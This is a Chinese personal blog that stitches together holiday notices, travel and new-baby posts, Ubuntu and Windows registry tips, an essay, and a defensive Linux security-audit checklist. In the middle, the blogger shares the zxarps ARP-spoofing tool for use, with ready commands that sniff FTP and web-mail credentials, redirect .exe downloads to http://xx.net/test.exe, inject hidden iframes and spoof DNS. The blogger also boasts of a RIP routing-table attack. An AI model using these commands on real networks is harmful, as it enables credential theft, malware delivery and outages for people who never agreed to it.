我的地盘我做主

http://news.sina.com.cn/c/2008-03-14/065915146555.shtml

根据国务院办公厅通知精神，现将2008年清明节放假安排通知如下:

　　4月4日至6日放假，共3天。

　　其中，4月4日(清明节)为法定节假日，4月5日(星期六)、4月6日(星期日)照常公休。各企事业单位可根据生产和工作情况自行安排。节日期间，各单位要加强值班，认真做好防火、安全保卫和卫生防疫等各项工作。

　　北京市人民政府办公厅二○○八年三月十四日

来到了传说中的香格里拉,晚上零下十几度,大高原,冷得彻骨,远处的山上挂着白雪,水里结着冷,香格里拉市中心美丽的人工喷泉,喷泉二三十米高,可是喷泉池里结着厚厚的冰

大街上中午太阳睛好,人比较多,早上出来,街上就我们几个,一出来就感觉到刀子划向我的脸、手和我的裤管，哪叫一个冷 

这几天天气睛好，还好，看天气预报，两三天后要下雪，怎么办啊

而过几天还要去怒江，那可是大雪山啊

元旦快乐!

2008快乐!

深夜了，给我的宝宝写一点

从湖南老家过来广州有两天了，愈发想念我的宝宝

宝宝到今天出生有12天了

我的宝宝

一出生头发就黑黑的，长长的，密密的，这点很象他爸爸小时候。

两只小手手张得大大的，指头伸得很开，一看将来又是个不聚财的家伙，这个象极了他爸爸妈妈.

也不怎么哭闹，吃完了就睡，饿了就会哭两声来提醒，就是吃奶的时间有些长，把他妈妈累得够怆，一顿奶可以吃两三个小时，分两次吃，第一次睡醒了哭两声，就知道要吃奶了，吃了一半不吃了，这会儿就知道要大小便了，大小便完了又继续吃，吃完了就满足的睡去，睡着的时候打着饱嗝，一下一下的。

要大小便了也会哭两声来提醒，所以很多时候就不会把大小便拉到尿片上，要大便之前还会放个屁来预告一下，如果要小便，小JJ头会被尿涨得挺挺的，让你一见就知道马上要拉尿了 。

白天醒着的时间不多，醒着的时候眼睛睁着爸爸的脸，眼珠子一转一转的，受不了强光，在医院的时候日光灯太强了，一打开灯灯光直射到眼睛就闭上了，在家钨丝灯（不敢开日光灯了）柔和的灯光宝宝很喜欢。晚上就闹腾了，而且晚上吃奶的时间特别长，一顿奶两三个小时大多在晚上，折腾他妈妈，爸爸又要起来给妈妈弄吃的去，妈妈给他吃饿了。

爷爷奶奶也象个孩子一样，要跟妈妈抢着晚上和宝宝一起睡，现在爸爸来广州了，奶奶如愿以偿的跑到妈妈房间整晚上的陪着宝宝了。爷爷坐不住了，要把宝宝晚上抱过去，吃奶时送过来给妈妈，说和爷爷睡整晚上不哭不闹腾宝宝最乖了，并说在医院里有两晚爷爷抱着整晚上都安安静静的，这倒让我感受到了爷爷招呼小孩的功夫，是啊，我们兄弟几个都是他养大的。

最后要说的是，楚姐送宝宝的礼物，在老家我打开发现里面还有张卡片，有楚姐、周宁、越武和小伊给宝宝起的名字和祝福，真的让我很感动。楚姐最是为我的宝宝费心了，为宝宝的名字楚姐去英特网找好名字，我给宝宝起的刘创的名字给楚姐测出来只打75分，楚姐给起的刘星辰(超毅也起过这名字)和刘湘湘分别打99.5（完美了）和85的高分，呵呵J

我的宝宝还有三十多天就要出生了,我却还在云南忙项目,而且这个项目估计要弄到12月底

宝宝的名字还没有想好

就要从儿子的身份变成父亲了,希望我的宝宝将来是个有出息的人,胜过他爸爸,一生幸福,快乐

  今天在vmware server 上安装了Ubuntu Server 6.10。安装一切顺利，但无法启动。提示
              "Unknown interrupt or fault at EIP 00000060 c0100295 00000294"。
网上搜了一下，原来是server kernel在编译时打开了HIGHMEM64G支持，需要CPU支持PAE才行。试了他们的方法可以解决步骤如下：

使用ubuntu server安装光盘启动，选择"Rescue a broken system"选项，然后进行配置，在进行到"Rescue operations"的时候，选择"Execute a shell in /dev/hda1"(后面的路径会根据你的根分区而有所不同)，然后运行"apt-get install linux-686"，也就是安装新的generic内核（要有耐心速度相当慢），安装完成重启就OK了。

通过注册表来修改键位的方法
  
Keyboard Customizer Utility虽然提供win键的功能，但可选项太少。如果直接改注册表，就可以将任意键定义成其它键。
  
将以下等号间的文字copy到记事本中，存为.reg文件，再导入注册表，重启动，就可以实现将右Alt键定义为左Win键的功能(对2000及XP有效)
  
===================================================
Windows Registry Editor Version 5.00
  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,e0,\
00,00,00,00
===================================================
  
解释一下
Value                    Interpretation  
0x00000000          Header: Version. Set to all zeroes.  
0x00000000          Header: Flags. Set to all zeroes.  
0x00000002          Two entries in the map (including null entry).  
0xE038E05B          Right ALT key --> Windows key (0xE038 --> 0xE05B).  
0x00000000          Null terminator.  
  
比较一下将左Alt键定义为左Win键的功能的注册表文件吧
===================================================
Windows Registry Editor Version 5.00
  
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,\
02,00,00,00,\
5b,e0,38,00,\
00,00,00,00
===================================================
就是右alt键的scancode:e038变成了左alt键的scancode:0038
  
大家自己想怎么改，就自己试吧
各个键位的scancode map在这儿下载:  
http://download.microsoft.com/download/whistler/hwdev3/1.0/WXP/EN-US/scancode.exe
  
以上方法对ps2键盘有效，usb键盘的scancode map跟ps2键盘不一样，对照表在这儿：
http://www.microsoft.com/hwdev/download/tech/input/translate.pdf

http://www.xfocus.net/articles/200707/929.html

烂文在安焦发表了,自己庆祝一下,嘎嘎!

转载

http://www.edu.cn/20030924/3091744.shtml

这个用于追踪邮件发送的IP地址与垃圾邮件的源头非常有效

另附上安焦大牛Refdom《追踪垃圾邮件来源》一文，点击下面下载

www.i170.com/Attach/38146837-4B26-4ED9-9FDC-1BAD516B8FE3

转自哇~老大之blog

这是一个奇怪的现象：猛兽大部分时间是慵懒的。猛虎肉醉，狮王常睡。越是在短时间爆发出迅猛搏杀的，越需要长时间养精蓄锐。狮、虎、豹、熊，多为懒汉，彻底放松，王者坦然。看看它们那种懒散随便的样子，就知道处于食物链顶端的肉食者何等自信。
　　相反的一面就是草食动物基本上都是勤快的，要逐水草，要大迁徙，要不停地吃，要不停地生，还要随时提高警觉性，吃草要竖起耳朵，睡觉只能睁眼打个盹。马是站着睡觉的，除非病卧倒毙，不会躺下。在自然界，草食动物就是弱者，生存没有安全感，因而也没有懒的资格。
　　人的社会不等同于自然界，但也不能完全摆脱自然法则。君不见，熙熙攘攘忙忙碌碌奔走求食之辈，多黑瘦勤快；懒懒散散不慌不忙稳坐高卧之流，皆肥白懒慢。固然，一个竞争激烈的社会，做一个真正的懒汉不容易了，但是当一个懒卧的狮子还是人生的高境界理想。首先，要有安全感，放心大胆地睡，没人能吃掉你。其次，要衣食住行无忧，不被贪欲所驱动。第三，知道自己是狮子，可为肉醉，不为肉累，保持那份坦然比多捞几只羚羊更珍贵。
　　现在老是提倡进取，在物质利益方面，过于进取，则是贪欲。尤其当了狮子，贪则丑，懒则美。当一个懒汉是一种人生境界，因为，猛兽多是懒汉。

超毅介绍的，必属精品 

程序下载:

www.i170.com/Attach/5DBBB105-17CC-4202-AB44-68429C6DD0C1

(怕毒的请不要下载　)

程序代码

0. Realtek RTL8139

 IP Address. . . . . : 192.168.1.101

 Physical Address. . : 00-11-D8-6B-5E-19

 Default Gateway . . : 192.168.1.1

1. WAN (PPP/SLIP) Interface

 IP Address. . . . . : xx.xx.xx.xx

 Physical Address. . : 00-52-00-00-00-00

 Default Gateway . . : xx.xx.xx.xx

options:

 -idx [index] 网卡索引号

 -ip [ip] 欺骗的IP,用'-'指定范围,','隔开

 -sethost [ip] 默认是网关,可以指定别的IP

 -port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口

 -reset 恢复目标机的ARP表

 -hostname 探测主机时获取主机名信息

 -logfilter [string]设置保存数据的条件，必须+-_做前缀,后跟关键字,

 ','隔开关键字,多个条件'|'隔开

 所有带+前缀的关键字都出现的包则写入文件

 带-前缀的关键字出现的包不写入文件

 带_前缀的关键字一个符合则写入文件(如有+-条件也要符合)

 -save_a [filename] 将捕捉到的数据写入文件 ACSII模式

 -save_h [filename] HEX模式

 -hacksite [ip] 指定要插入代码的站点域名或IP,

 多个可用','隔开,没指定则影响所有站点

 -insert [html code]指定要插入html代码

 -postfix [string] 关注的后缀名，只关注HTTP/1.1 302

 -hackURL [url] 发现关注的后缀名后修改URL到新的URL

 -filename [name] 新URL上有效的资源文件名

 -hackdns [string] DNS欺骗，只修改UDP的报文,多个可用','隔开

 格式: 域名|IP，www.aa.com|222.22.2.2,www.bb.com|1.1.1.1

 -Interval [ms] 定时欺骗的时间间隔，默认是3秒

 -spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者

 -speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB

example:

 嗅探指定的IP段中端口80的数据，并以HEX模式写入文件

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log

 FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件

 zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log

 HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log

 用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探

 zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log

 如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe

 指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>"

 指定的IP段中的用户访问的所有网站都插入一个框架代码

 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<iframe src='xx' width=0 height=0>"

 指定的两个IP的总带宽限制到20KB

 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20

 DNS欺骗

 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"

zxarps Build 01/17/2007 By LZX.

找到了攻击RIP路由协议的方法,嘎嘎!

在此感谢二位黄先生，泽鸿(CCIE)给于我在动态路由协议上的很多指点(很久没摸路由器了，都忘干净了^_^)，超毅(黑客之王)给于我对攻击思路的指点，感谢二位牛

对于运行RIP动态路由协议路由器的路由表可以通过本文的办法对其随意撰改，造成其路由表紊乱，并足以使其网络中断

不多说了,看附件

www.i170.com/Attach/4EDE0467-3D5B-468F-9EBB-0202F9024853

ps:附件暂时加密,等段时间了再发不加密的附件,如果想要密码的朋友也可以通过各种方式联系我

当然,如果您有足够的时间,您可以自己爆破它~

转载

http://blog.chinaunix.net/u/22117/showart.php?id=145271

1       系统信息

1.1 主机名、域名信息检查

1.1.1    说明：

得到系统主机名、域名

1.1.2    检查方法：

hostname    domainname

1.1.3    结果分析方法：

# hostname

cat

# domainname

(none)

1.2 系统版本信息检查

1.2.1    说明：

得到系统版本信息

1.2.2    检查方法：

uname -a

1.2.3    结果分析方法：

# uname -a

Linux Sec 2.4.19 #17 SMP Wed Oct 30 14:18:13 CST 2002 i686 i686 i386 GNU/Linux

1.2.4    备注：

本例输出中系统内核版本为2.4.19

1.3 网卡信息检查

1.3.1    说明：

得到网卡信息

1.3.2    检查方法：

ifconfig -a

1.3.3    结果分析方法：

# ifconfig -a

1.3.4    备注：

HWaddr：MAC地址

inet addr：IP地址

Bcast：广播地址

Mask：掩码

如果系统已经安装iproute2（通过rpm -qa | grep iproute确认），则可以使用ip命令获得网卡信息。

获得网卡地址：

# ip add ls

 获得网卡信息：

# ip link ls

 获得系统ARP表：

# ip neigh ls

 获得系统路由表：

# ip ro ls

更多ip命令请参考ip(8)，即# man 8 ip

1.4 系统路由信息检查

1.4.1    说明：

得到系统路由信息

1.4.2    检查方法：

netstat –r    ip ro ls

1.4.3    结果分析方法：

# netstat -r

# ip ro ls

1.4.4    备注：

如果系统支持ip命令，建议使用ip命令进行信息检查。

1.5 系统加载模块信息检查
1.5.1    说明：

查看系统已加载的模块

1.5.2    检查方法：

lsmod

1.5.3    结果分析方法：

# lsmod

2       补丁安装情况

2.1 系统已安装的rpm包信息检查

2.1.1    说明：

得到系统已经安装的rpm包列表

2.1.2    检查方法：

rpm -qa

2.1.3    结果分析方法：

# rpm -qa

3       帐号和口令

3.1 系统空密码帐号信息检查

3.1.1    说明：

查看系统是否存在空密码帐号

3.1.2    检查方法：

awk -F: '($2 = = "") { print $1 }' /etc/shadow

3.1.3    结果分析方法：

# awk -F: '($2 = = "") { print $1 }' /etc/shadow

3.2 系统uid=0帐号信息检查

3.2.1    说明：

查看系统uid=0的帐号

3.2.2    检查方法：

awk -F: '($3 = = 0) { print $1 }' /etc/passwd

3.2.3    结果分析方法：

# awk -F: '($3 == 0) { print $1 }' /etc/passwd

root

3.2.4    备注：

本例输出说明只有root帐号uid＝0

3.3 系统缺省用户（组）信息检查

3.3.1    说明：

得到系统缺省用户（组）

3.3.2    检查方法：

cat /etc/passwd

3.3.3    结果分析方法：

查看是否存在系统缺省帐号，如：

lp,　sync,　shutdown,　halt,　news,　uucp,　operator,　games,　gopher等

3.4 系统帐号shell变量信息检查

3.4.1    说明：

得到系统帐号shell变量

3.4.2    检查方法：

cat /etc/passwd

3.4.3    结果分析方法：

# cat /etc/passwd

看最后域是否是/sbin/nologin或/dev/null

3.5 passwd、shadow文件检查

3.5.1    说明：

检查系统passwd、shadow文件，确保系统中每个用户都有密码，并且密码被shadow。

3.5.2    检查方法：

pwck

3.5.3    结果分析方法：

# pwck

3.6 系统缺省密码最短长度检查

3.6.1    说明：

得到系统缺省密码最短长度

3.6.2    检查方法：

cat /etc/login.defs | grep PASS_MIN_LEN

3.6.3    结果分析方法：

# cat /etc/login.defs | grep PASS_MIN_LEN

#       PASS_MIN_LEN    Minimum acceptable password length.

PASS_MIN_LEN    5

3.7 系统自动注销帐号登录检查

3.7.1    说明：

得到超时后系统自动注销帐号登录信息

3.7.2    检查方法：

cat /etc/profile | grep TMOUT

3.7.3    结果分析方法：

# cat /etc/profile | grep TMOUT

3.7.4    备注：

本例输出表示并未对自动注销帐号登录作设置

3.8 root PATH环境变量检查

3.8.1    说明：

得到root PATH环境变量，是否包含当前目录“.”

3.8.2    检查方法：

echo $PATH | grep “:.”

3.8.3    结果分析方法：

# echo $PATH | grep “:.”

3.8.4    备注：

此检查有一定的局限性，只检查了当前用户的路径设置。

3.9 禁止使用ftp的帐号检查

3.9.1    说明：

得到禁止使用ftp的帐号

3.9.2    检查方法：

cat /etc/ftpusers

3.10    结果分析方法：

# cat /etc/ftpusers

3.11    允许su为root的帐号信息检查

3.11.1   说明：

检查是否允许任何人su为root

3.11.2   检查方法：

vi /etc/pam.d/su

3.11.3   结果分析方法：

# vi /etc/pam.d/su

…

auth sufficient /lib/security/pam_rootok.so

auth required /lib/security/pam_wheel.so group=wheel

…

3.11.4   备注：

本例输出表示只有wheel组中的用户才可以允许su为root

3.11.5   bash shell保存少量命令检查

3.11.6   说明：

得到bash shell能保存的命令条数

3.11.7   检查方法：

cat /etc/profile | grep HISTSIZE

3.11.8   结果分析方法：

# cat /etc/profile | grep HISTSIZE

HISTSIZE=1000

3.12    用户对主机使用的限制检查

3.12.1   说明：

得到系统限制用户对主机使用的信息

3.12.2   检查方法：

cat /etc/security/limits.conf

3.12.3   结果分析方法：

# cat /etc/security/limits.conf

# /etc/security/limits.conf

#

#Each line describes a limit for a user in the form:

#

#<domain>        <type>  <item>  <value>

#

#Where:

#<domain> can be:

#        - an user name

#        - a group name, with @group syntax

#        - the wildcard *, for default entry

#

#<type> can have the two values:

#        - "soft" for enforcing the soft limits

#        - "hard" for enforcing hard limits

#

#<item> can be one of the following:

#        - core - limits the core file size (KB)

#        - data - max data size (KB)

#        - fsize - maximum filesize (KB)

#        - memlock - max locked-in-memory address space (KB)

#        - nofile - max number of open files

#        - rss - max resident set size (KB)

#        - stack - max stack size (KB)

#        - cpu - max CPU time (MIN)

#        - nproc - max number of processes

#        - as - address space limit

#        - maxlogins - max number of logins for this user

#        - priority - the priority to run user process with

#        - locks - max number of file locks the user can hold

#

#<domain>      <type>  <item>         <value>

#

#*               soft    core            0

#*               hard    rss             10000

#@student        hard    nproc           20

#@faculty        soft    nproc           20

#@faculty        hard    nproc           50

#ftp             hard    nproc           0

#@student        -       maxlogins       4

# End of file

3.12.4   备注：

本例输出表示系统并未限制用户对主机的使用（进程使用、尝试登录次数等）

3.13    系统是否允许guest或匿名连接信息检查

3.13.1   说明：

查看系统是否允许guest或匿名连接

3.13.2   检查方法：

cat /etc/ftpaccess | grep class

3.13.3   结果分析方法：

# cat /etc/ftpaccess | grep class

# User classes...

class   all   real,guest,anonymous  *

4       网络与服务

4.1 系统运行进程检查

4.1.1    说明：

得到系统运行进程

4.1.2    检查方法：

ps -aux

4.1.3    结果分析方法：

# ps -aux

4.1.4    备注：

计算系统运行进程个数：# ps –aux | wc -l

4.2 系统打开端口信息检查

4.2.1    说明：

得到系统打开的端口信息

4.2.2    检查方法：

netstat -an

4.2.3    结果分析方法：

# netstat -an

4.3 系统服务信息检查

4.3.1    说明：

得到系统服务信息

4.3.2    检查方法：

lsof -i       netstat -at

4.3.3    结果分析方法：

# lsof -i

netstat -at

4.3.4    备注：

如果系统未安装lsof，使用netstat –a --ip：

# netstat -a --ip

4.4 xinetd/inetd服务信息检查

4.4.1    说明：

查看系统是否运行xinetd/inetd服务

4.4.2    检查方法：

ps -aux | grep inetd    ps -aux | grep xinetd

4.4.3    结果分析方法：

# ps -aux | grep xinetd

root   383  0.0  0.6  2088  832 ?        S    20:06   0:00 xinetd -stayalive

4.4.4    备注：

本例输出表示系统运行xinetd，

# cd /etc/xinetd.d

# grep “disable” ./*

./chargen:      disable = yes

./chargen-udp:  disable = yes

./cvs:  disable = no

./daytime:      disable = yes

./daytime-udp:  disable = yes

./echo: disable = yes

./echo-udp:     disable = yes

./rsync:        disable = yes

./servers:      disable = yes

./services:     disable = yes

./time: disable = yes

./time-udp:     disable = yes

./wu-ftpd:      disable = yes

输出中disable=no表示xinetd启动cvs进程，执行netstat -a进行确认。

# netstat -a

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp   0      0 *:cvspserver            *:*                     LISTEN    

4.5 /etc/hosts.conf信息检查

4.5.1    说明：

得到系统解析地址的信息

4.5.2    检查方法：

/etc/host.conf

4.5.3    结果分析方法：

# cat /etc/host.conf

order hosts,bind

4.5.4    备注：

本例输出表示先通过hosts文件解析，然后通过DNS解析。

4.6 /etc/hosts.equiv信息检查

4.6.1    说明：

查看是否存在/etc/hosts.equiv文件

4.6.2    检查方法：

ls -al /etc/hosts.equiv

4.6.3    结果分析方法：

# ls -al /etc/hosts.equiv

4.7 /etc/rc.d/init.d自动运行脚本检查

4.7.1    说明：

查看系统开机自动运行的脚本

4.7.2    检查方法：

ls -al /etc/rc.d/init.d

4.7.3    结果分析方法：

# ls -al /etc/rc.d/init.d/

total 208

drwxr-xr-x    2 root         4096 Nov 13 14:12 ./

drwxr-xr-x   10 root         4096 May 10 22:12 ../

-rwxr-xr-x    1 root         2633 Aug 23  2002 aep1000*

-rwxr-xr-x    1 root          941 Aug 28  2002 anacron*

-rwxr-xr-x    1 root         1458 Jun 23  2002 apmd*

-rwxr-xr-x    1 root         1176 Jul 25  2002 atd*

-rwxr-xr-x    1 root         9435 Aug 27  2002 autofs*

-rwxr-xr-x    1 root         2455 Aug 23  2002 bcm5820*

-rwxr-xr-x    1 root         1095 Aug 24  2002 cpqarrayd*

-rwxr-xr-x    1 root         1316 Jul 20  2002 crond*

-rwxr-xr-x    1 root        10068 Jul 14  2002 functions*

-rwxr-xr-x    1 root         1541 Jun 24  2002 gpm*

-rwxr-xr-x    1 root         5075 Aug 14  2002 halt*

-rwxr-xr-x    1 root         2366 Sep  5  2002 httpd*

-rwxr-xr-x    1 root         5636 Aug  7  2002 iptables*

-rwxr-xr-x    1 root         1152 Jul  9  2002 irda*

-rwxr-xr-x    1 root         1084 Aug  3  2002 kdcrotate*

-rwxr-xr-x    1 root         1347 Sep  5  2002 keytable*

-rwxr-xr-x    1 root          481 Jul  6  2002 killall*

-rwxr-xr-x    1 root         1919 Sep  3  2002 kudzu*

-rwxr-xr-x    1 root         1539 Aug 24  2002 microcode_ctl*

-rwxr-xr-x    1 root         5024 Jun 26  2002 netfs*

-rwxr-xr-x    1 root         6402 Jul 10  2002 network*

-rwxr-xr-x    1 root         4522 Aug  1  2002 nfs*

-rwxr-xr-x    1 root         2286 Aug  1  2002 nfslock*

-rwxr-xr-x    1 root         2066 Sep  6  2002 nscd*

-r-xr-xr-x    1 root         4596 Aug 31  2002 pcmcia*

-rwxr-xr-x    1 root         1901 Aug  7  2002 portmap*

-rwxr-xr-x    1 root         1516 Jun 26  2002 random*

-rwxr-xr-x    1 root         2211 Jun 26  2002 rawdevices*

-rwxr-xr-x    1 root         1782 Sep 10  2002 rhnsd*

-rwxr-xr-x    1 root         1260 Sep  3  2002 saslauthd*

-r-x------    1 root          177 Nov 13 14:12 secuve_file*

-rwxr-xr-x    1 root         2362 Aug 30  2002 sendmail*

-rwxr-xr-x    1 root         1175 Jul 10  2002 single*

-rwxr-xr-x    1 root          627 Aug 24  2002 smartd*

-rwxr-xr-x    1 root         1160 Sep  1  2002 snmpd*

-rwxr-xr-x    1 root         1131 Sep  1  2002 snmptrapd*

-rwxr-xr-x    1 root         2647 Aug 14  2002 sshd*

-rwxr-xr-x    1 root         1369 Jun 24  2002 syslog*

-rwxr-xr-x    1 root         2407 Aug 16  2002 xinetd*

-rwxr-xr-x    1 root         2501 Jun 24  2002 ypbind*

4.8 开放端口与进程信息检查

4.8.1    说明：

查看某个开放端口由哪个进程打开

4.8.2    检查方法：

假设要查看的开放端口是2401，执行fuser -n tcp 2401，返回的进程ID为pid，

再执行ps -aux | grep pid。

4.8.3    结果分析方法：

# fuser -n tcp 2401

2401/tcp:              383

# ps -aux | grep 383

root   383  0.0  0.6  2088  832 ?        S    20:06   0:00 xinetd -stayalive

4.8.4    备注：

本例输出表示2401端口由xinetd进程打开。

此检查可以检测系统开放的不明端口。

4.9 /etc/rc.d/rc[0-6].d脚本信息检查

4.9.1    说明：

查看/etc/rc.d/rc[0-6].d下运行的脚本

4.9.2    检查方法：

ls -al /etc/rc.d/rc0.d

…

ls -al /etc/rc.d/rc6.d

4.9.3    结果分析方法：

# ls -al rc3.d/

total 8

drwxr-xr-x    2 root         4096 Nov 13 14:21 ./

drwxr-xr-x   10 root         4096 May 10 22:12 ../

lrwxrwxrwx  1 root      28 Nov 13 14:12 BS99file -> /etc/rc.d/init.d/secuve_file*

lrwxrwxrwx  1 root           15 Oct 29  2002 K03rhnsd -> ../init.d/rhnsd*

lrwxrwxrwx  1 root           17 Oct 29  2002 K05anacron -> ../init.d/anacron*

lrwxrwxrwx  1 root           13 Oct 29  2002 K05atd -> ../init.d/atd*

lrwxrwxrwx  1 root           18 Oct 29  2002 K05keytable -> ../init.d/keytable*

lrwxrwxrwx  1 root         19 Oct 29  2002 K05saslauthd -> ../init.d/saslauthd*

lrwxrwxrwx    1 root           13 Oct 29  2002 K15gpm -> ../init.d/gpm*

lrwxrwxrwx    1 root           13 Oct 29  2002 K20nfs -> ../init.d/nfs*

lrwxrwxrwx    1 root           14 Oct 29  2002 K24irda -> ../init.d/irda*

lrwxrwxrwx  1 root          18 Oct 29  2002 K30sendmail -> ../init.d/sendmail*

lrwxrwxrwx    1 root           16 Oct 29  2002 K45smartd -> ../init.d/smartd*

lrwxrwxrwx    1 root           15 Oct 29  2002 K50snmpd -> ../init.d/snmpd*

lrwxrwxrwx  1 root       19 Oct 29  2002 K50snmptrapd -> ../init.d/snmptrapd*

lrwxrwxrwx    1 root           15 Oct 29  2002 K60crond -> ../init.d/crond*

lrwxrwxrwx  1 root           17 Oct 29  2002 K70aep1000 -> ../init.d/aep1000*

lrwxrwxrwx  1 root         17 Oct 29  2002 K70bcm5820 -> ../init.d/bcm5820*

lrwxrwxrwx    1 root           16 Oct 29  2002 K72autofs -> ../init.d/autofs*

lrwxrwxrwx    1 root           14 Oct 29  2002 K74apmd -> ../init.d/apmd*

lrwxrwxrwx    1 root           15 Oct 29  2002 K75netfs -> ../init.d/netfs*

lrwxrwxrwx   1 root           17 Oct 29  2002 K86nfslock -> ../init.d/nfslock*

lrwxrwxrwx  1 root           17 Oct 29  2002 K87portmap -> ../init.d/portmap*

lrwxrwxrwx   1 root           18 Oct 29  2002 K92iptables -> ../init.d/iptables*

lrwxrwxrwx    1 root           15 Oct 29  2002 K95kudzu -> ../init.d/kudzu*

lrwxrwxrwx    1 root           16 Oct 29  2002 K96pcmcia -> ../init.d/pcmcia*

lrwxrwxrwx 1 root   23 Oct 29  2002 S00microcode_ctl -> ../init.d/microcode_ctl*

lrwxrwxrwx  1 root           17 Oct 29  2002 S10network -> ../init.d/network*

lrwxrwxrwx  1 root           16 Oct 29  2002 S12syslog -> ../init.d/syslog*

lrwxrwxrwx  1 root           16 Oct 29  2002 S20random -> ../init.d/random*

lrwxrwxrwx    1 root           14 Oct 29  2002 S55sshd -> ../init.d/sshd*

lrwxrwxrwx 1 root       20 Oct 29  2002 S56rawdevices -> ../init.d/rawdevices*

lrwxrwxrwx    1 root           16 Oct 29  2002 S56xinetd -> ../init.d/xinetd*

lrwxrwxrwx    1 root           15 Oct 29  2002 S85httpd -> ../init.d/httpd*

lrwxrwxrwx    1 root           11 Oct 30  2002 S99local -> ../rc.local*

4.9.4    备注：

以S开头的为该运行级别下运行的脚本

4.10    系统ping响应信息检查

4.10.1   说明：

查看系统是否响应ICMP请求

4.10.2   检查方法：

cat /proc/sys/net/ipv4/icmp_echo_ignore_all

或从同网段的另一台机器ping该主机

4.10.3   结果分析方法：

# cat /proc/sys/net/ipv4/icmp_echo_ignore_all

0

4.10.4   备注：

本例输出表示系统响应ICMP请求

4.11    系统服务运行等级信息检查

4.11.1   说明：

查看系统服务运行等级信息

4.11.2   检查方法：

chkconfig --list

4.11.3   结果分析方法：

# chkconfig --list      

syslog          0:off   1:off   2:on    3:on    4:on    5:on    6:off

microcode_ctl   0:off   1:off   2:on    3:on    4:on    5:on    6:off

netfs           0:off   1:off   2:off   3:off   4:on    5:on    6:off

network         0:off   1:off   2:on    3:on    4:on    5:on    6:off

random          0:off   1:off   2:on    3:on    4:on    5:on    6:off

rawdevices      0:off   1:off   2:off   3:on    4:on    5:on    6:off

saslauthd       0:off   1:off   2:off   3:off   4:off   5:off   6:off

xinetd          0:off   1:off   2:off   3:on    4:on    5:on    6:off

portmap         0:off   1:off   2:off   3:off   4:on    5:on    6:off

apmd            0:off   1:off   2:on    3:off   4:on    5:on    6:off

atd             0:off   1:off   2:off   3:off   4:on    5:on    6:off

gpm             0:off   1:off   2:on    3:off   4:on    5:on    6:off

autofs          0:off   1:off   2:off   3:off   4:on    5:on    6:off

irda            0:off   1:off   2:off   3:off   4:off   5:off   6:off

keytable        0:off   1:on    2:on    3:off   4:on    5:on    6:off

kudzu           0:off   1:off   2:off   3:off   4:on    5:on    6:off

sshd            0:off   1:off   2:on    3:on    4:on    5:on    6:off

snmpd           0:off   1:off   2:off   3:off   4:off   5:off   6:off

snmptrapd       0:off   1:off   2:off   3:off   4:off   5:off   6:off

sendmail        0:off   1:off   2:on    3:off   4:on    5:on    6:off

smartd          0:off   1:off   2:off   3:off   4:off   5:off   6:off

iptables        0:off   1:off   2:on    3:off   4:on    5:on    6:off

nfs             0:off   1:off   2:off   3:off   4:off   5:off   6:off

nfslock         0:off   1:off   2:off   3:off   4:on    5:on    6:off

rhnsd           0:off   1:off   2:off   3:off   4:on    5:on    6:off

pcmcia          0:off   1:off   2:on    3:off   4:on    5:on    6:off

crond           0:off   1:off   2:on    3:off   4:on    5:on    6:off

anacron         0:off   1:off   2:on    3:off   4:on    5:on    6:off

aep1000         0:off   1:off   2:off   3:off   4:off   5:off   6:off

bcm5820         0:off   1:off   2:off   3:off   4:off   5:off   6:off

httpd           0:off   1:off   2:off   3:on    4:off   5:off   6:off

xinetd based services:

        chargen-udp:    off

        chargen:        off

        daytime-udp:    off

        daytime:        off

        echo-udp:       off

        echo:   off

        services:       off

        servers:        off

        time-udp:       off

        time:   off

        cvs:    on

        wu-ftpd:        off

        rsync:  off

4.12    系统是否安装ftp信息检查

说明：

查看系统是否安装ftp软件包

4.12.1   检查方法：

rpm -qa | grep ftp

ls /etc/xinetd.d/*ftp*

结果分析方法：

# rpm -qa | grep ftp

ftp-0.17-15

lftp-2.5.2-5

wu-ftpd-2.6.2-8

# ls /etc/xinetd.d/*ftp*

/etc/xinetd.d/wu-ftpd

4.13    系统是否存在sendmail服务或relay进程信息检查

4.13.1   说明：

查看系统是否存在sendmail服务或relay进程

4.13.2   检查方法：

cat /etc/sysconfig/sendmail

4.13.3   结果分析方法：

# cat /etc/sysconfig/sendmail

DAEMON=yes

QUEUE=1h

5       文件系统

5.1 初始文件创建权限信息检查

5.1.1    说明：

查看系统初始文件创建权限

5.1.2    检查方法：

umask

umask -S

5.1.3    结果分析方法：

查看普通用户初始文件创建权限

$ umask

0002

$ umask -S

u=rwx,g=rwx,o=rx

查看超级用户初始文件创建权限

# umask

0022

# umask -S

u=rwx,g=rx,o=rx

